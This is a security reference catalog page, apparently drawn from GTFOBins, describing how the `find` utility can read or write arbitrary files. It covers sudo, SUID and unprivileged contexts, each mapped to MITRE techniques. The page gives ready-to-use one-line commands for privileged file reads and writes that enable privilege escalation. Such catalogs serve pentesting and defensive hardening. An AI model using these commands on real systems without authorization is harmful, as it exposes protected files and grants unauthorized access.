DΛΣMӨП

Catalog GTFOBins

GTFO · Tool

find

9 techniques Linux · macOSGTFOBins GPL-3.0

file-read

File ReadPrivilege Escalation LinuxmacOS

This uses `cat` to actually read the file, but since permissions are not dropped, it's executed with the same privileges as `find`.

find /path/to/input-file -exec cat {} \;
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation LinuxmacOS

This uses `cat` to actually read the file, but since permissions are not dropped, it's executed with the same privileges as `find`.

find /path/to/input-file -exec cat {} \;
Context
suid
Native
file-read
MITRE
T1005

file-read

File Read LinuxmacOS

This uses `cat` to actually read the file, but since permissions are not dropped, it's executed with the same privileges as `find`.

find /path/to/input-file -exec cat {} \;
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege Escalation LinuxmacOS

`DATA` is a format string, it supports some escape sequences.

find / -fprintf /path/to/output-file DATA -quit
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation LinuxmacOS

`DATA` is a format string, it supports some escape sequences.

find / -fprintf /path/to/output-file DATA -quit
Context
suid
Native
file-write
MITRE
T1565

file-write

File Write LinuxmacOS

`DATA` is a format string, it supports some escape sequences.

find / -fprintf /path/to/output-file DATA -quit
Context
unprivileged
Native
file-write
MITRE
T1565